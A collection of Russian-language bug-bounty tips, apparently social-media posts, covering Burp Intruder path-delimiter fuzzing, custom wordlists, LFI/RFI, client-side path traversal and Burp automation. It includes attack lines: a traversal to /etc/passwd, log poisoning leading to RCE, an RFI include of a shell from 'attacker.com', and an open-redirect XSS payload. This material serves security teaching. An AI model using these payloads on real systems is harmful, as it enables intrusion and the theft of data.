🔍 Поиск проблем с разделителями пути с помощью Burp Intruder

Иногда веб-серверы по-разному обрабатывают спецсимволы (;, ? и другие) в URL-адресах. Это может привести к web cache deception или проблемам с контролем доступа.

👉 Вот как легко протестировать расхождения в разделителях пути:

1️⃣ Захватите запрос и отправьте в Intruder. Тип атаки Sniper (изменяется только одно место):

GET /my-account§§abc HTTP/2

Пример пэйлоада (полный список найдете здесь):

!
#
$
'
*
+
,
.
/
:
;
_
~
...

2️⃣ Запустите атаку и проанализируйте статусы, длину и ответы.

Ищите страницы большего/меньшего размера, изменения в коде состояния или различное поведение. Если заметили что-то необычное, скорее всего, вы нашли расхождение в разделителях 🤑

👉 Почему это важно?

Когда спецсимволы сбивают с толку сервер или кеш, вы можете обнаружить:

🔸 Web cache deception: случайное кеширование личных страниц
🔸 Обход доступа: пропуск проверок безопасности
🔸 Утечка информации: доступ к данным, которые вы не должны видеть

🔗 Попробуйте на практике в лабе PortSwigger

Уровень сложности: 🪲🪲

🎯 Создание кастомных словарей для багбаунти

Кастомные словари — ключ к эффективному брутфорсу и поиску скрытых эндпоинтов/параметров.

Вместо слепого сканирования по общеизвестному списку, эффективнее делать таргетированные запросы, повышая шансы на успех и снижая лишний шум.

⏳ Что включить в кастомный словарь

1️⃣ Список слов для конкретной компании:

🔹 Парсинг названий API, параметров и других характерных ключевых слов из HTML-страниц. Автоматизируем с помощью CeWL:

$ cewl https://example.com --header "Cookie: PHPSESSID=7a9b.." -d 5 -m 4



🔹 Токенизация URL-адресов с помощью tok:

$ cat urls.txt | tok

🔹 Парсинг ключевых слов из JS-файлов:

$ cat js-urls.txt | python3 getjswords.py

2️⃣ Ключевые слова, завязанные на стек: определяем стек через Wappalyzer/BuiltWith/заголовки, подбираем словари из SecLists под стек.

3️⃣ Включение часто встречающихся ключевых слов — api, admin, assets, profile, debug, id, и т. д. Отличная база у JHaddix.

4️⃣ Финальный шаг: объединяем все и прогоняем через wl для нормализации под стиль приложения.

💡 Применение:

• Брутфорс виртуальных хостов и параметров
• Обнаружение контента

P.S. При подготовке поста вдохновлялись статьей от Intigriti.

🔓 От чтения к выполнению: когда доступ к файлу становится критическим

Хотя path traversal и arbitrary file read — и так опасные баги, они также пересекаются с более широкой категорией атак на основе файлов, особенно тех, которые приводят к выполнению кода. Разберем подробнее:

▪️Path Traversal позволяет читать файлы вне рабочей директории, например ../../../../etc/passwd.

▪️Arbitrary File Read идёт дальше: можно читать любой файл, независимо от пути. Всё, что приложение даст открыть — ваше.

💨 Когда чтение превращается в выполнение → Local File Inclusion

Если приложение не только читает, но и включает файл (например, через include($_GET['page']) в PHP), открывается дверь в LFI.

Классика:

<?php
include($_GET['page']); // уязвимо
?>

Передаём:

?page=../../../../var/log/apache2/access.log

А в лог предварительно закидываем PHP-пэйлоад через, например, User-Agent. В итоге получаем исполнение кода.

💨 Remote File Inclusion

RFI — как LFI, но файл загружается с внешнего URL. В более старых версиях PHP хватало:

?page=http://attacker.com/shell.txt

Сейчас allow_url_include часто выключен, но уязвимости живут в JS/Python, где делают eval(fetch(url)) или что-то похуже.

💡 Цепочки атак: когда пазл складывается

▪️Path Traversal → читаем конфиги → находим внутренние эндпоинты/креды → SSRF/обход аутентификации
▪️File write → включение пэйлоада через LFI → RCE
▪️Инжект в лог → включение логов через LFI → RCE

⚒️ Автоматизация поиска Client-Side Path Traversals

CSPT — техника, известная с 2007 года, но не все багхантеры с ней знакомы. Давайте это исправим!

Представьте страницу профиля, которая всегда возвращает один и тот же HTML, но в URL есть параметр id. Скрипт на клиенте делает запрос к API по этому id, например:

example.com/profile?id=10 → браузер делает запрос к example.com/api/users/10 и подставляет данные.

Часто багхантеры пытаются найти IDOR, меняя id, но мало кто смотрит, что браузер делает отдельный запрос к API. А если подставить путь с traversal-паттернами, например id=../../hello?

Если браузер запросит example.com/hello — значит есть возможность управлять путями в запросах с клиента!

🤔 Почему это важно?

Потому что теперь вы можете заставить браузер жертвы делать запросы по произвольным путям, что открывает путь для цепочек уязвимостей — например, XSS через поддельный ответ API.

➡️Анализ ответа

Если мы перехватим запрос и проверим ответ, то можем увидеть что-то вроде:

{
    "id": 10,
    "name": "John Doe",
    "pic": "images.example.com/pic-12345.jpg"
}

Что бы мы могли сделать, если бы могли контролировать ответ на этот запрос? По сути, мы могли бы создать ссылку, которая при нажатии жертвы отправляла бы запрос в API, который затем возвращал бы контент, который мы контролируем.

Ценность контроля над этим контентом зависит от того, что с ним делает приложение. В нашем примере pic используется как src тега <img>, а значит, появляется возможность эксплуатации XSS.

➡️Open redirects

Если на сервере есть open redirect, можно заставить браузер сходить на внешний контролируемый ресурс и вернуть вредоносный контент.

Пример:

/profile?id=../../redirect%3Furl%3Dxss.example.com

— теперь ответ API контролируем мы, и можно пытаться эксплуатировать ту же самую XSS.

💡 Автоматизация

Chrome-расширение Gecko перехватывает все запросы, анализирует URL вкладки и проверяет, отражается ли часть текущего URL в запросах — признак CSPT:

▪️Сервис-воркер слушает запросы (chrome.webRequest.onBeforeRequest)
▪️Проверяет совпадения путей и параметров
▪️Хранит данные в локальном хранилище
▪️Показывает результаты в DevTools-панели и через всплывающее окно
▪️Поддерживает частичное совпадение, чтобы ловить случаи с расширениями файлов и вариациями путей

💫 Автоматизация Burp Suite: как сэкономить время и работать эффективнее

Автоматизация должна охватывать ядро приложения и собирать максимум данных. Основной метод — упор на пассивном скане, чтобы не создавать много шума. Собранная информация помогает лучше понять приложение и улучшить активную автоматизацию.

🚀 Воркфлоу: пассивное и активное сканирование

Пассивные сканеры анализируют результаты активных: если активный вызвал ошибку, пассивный её найдёт и покажет в дашборде.

Ответы от прокси идут и активным, и пассивным сканерам. Ответы с репитера и расширений — только пассивным. Это обеспечивает плавный и синхронизированный процесс.

👉 Активный скан: не взломать все, а максимально покрыть функционал

▪️BCheck — относительно свежая фича для написания скриптов прямо в Burp. Используется как для сложных кейсов, так и для фаззинга файлов/директорий, спрея пэйлоада. Рекомендуется добавлять кастомный заголовок для отслеживания запросов в Logger++.

▪️Burp Bounty — расширение для сложных сканов с гибкой настройкой пэйлоада и правил детекции.

👉 Пассивный скан — второй уровень обнаружения для глубокого анализа ответов и поиска пропущенного активным сканером

▪️Пассивный краулер — строит карту сайта и помогает понять структуру приложения.

▪️Error Message Checks и Response Grepper — ищут ошибки и паттерны, помогают подстроить активные сканы.

▪️BCheck (пассивный режим) — определяет технологии приложения, фильтрует данные и уменьшает нагрузку, исключая неактуальные пэйлоады.

💡 Logger++ — логирует все запросы и ответы, предлагает фильтры и подсветку, упрощая анализ и отладку автоматизации.